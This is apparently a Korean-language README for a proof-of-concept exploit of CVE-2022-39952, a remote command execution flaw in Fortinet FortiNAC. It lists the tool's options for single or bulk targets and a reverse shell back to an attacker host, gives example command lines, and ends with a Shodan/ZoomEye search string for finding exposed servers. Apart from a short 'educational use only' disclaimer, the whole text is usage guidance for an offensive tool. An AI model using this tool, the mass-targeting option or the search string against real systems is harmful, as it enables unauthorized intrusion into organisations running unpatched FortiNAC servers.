
Fortinet FortiNAC에 영향을 미치는 CVE-2022-39952에 대한 PoC
이 익스플로잇은 공격자가 FortiNAC 서버에서 임의의 명령을 실행할 수 있게 해줍니다. horizon3ai가 개발한 PoC를 기반으로 하며, 여러 호스트를 대상으로 지정할 수 있는 추가 옵션이 포함되어 있습니다.
면책 조항: 이 익스플로잇은 교육 목적으로만 제공됩니다. 책임감 있게, 그리고 허가를 받은 상태에서만 사용하시기 바랍니다.
usage: exploit.py [-h] [-t TARGET] [-l LIST] [-lh LHOST] [-lp LPORT]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The IP address of the target
-l LIST, --list LIST List of targets
-lh LHOST, --lhost LHOST
The local host for the reverse shell
-lp LPORT, --lport LPORT
The local port for the reverse shell
이 익스플로잇을 사용하려면 시스템에 Python 3.x가 설치되어 있어야 합니다.
Python 3.x
requests module
concurrent.futures module
$ python exploit.py -t 192.168.1.100 -lh 192.168.1.10 -lp 4444
$ python exploit.py -t 192.168.1.100
$ python exploit.py -l targets.txt
이 익스플로잇은 제한된 수의 대상에서만 테스트되었으므로 효과는 다를 수 있습니다. ZoomEye와 Shodan에서 잠재적 대상을 찾기 위한 dork는 다음과 같습니다:
title:"FortiNAC" +"JSESSIONID"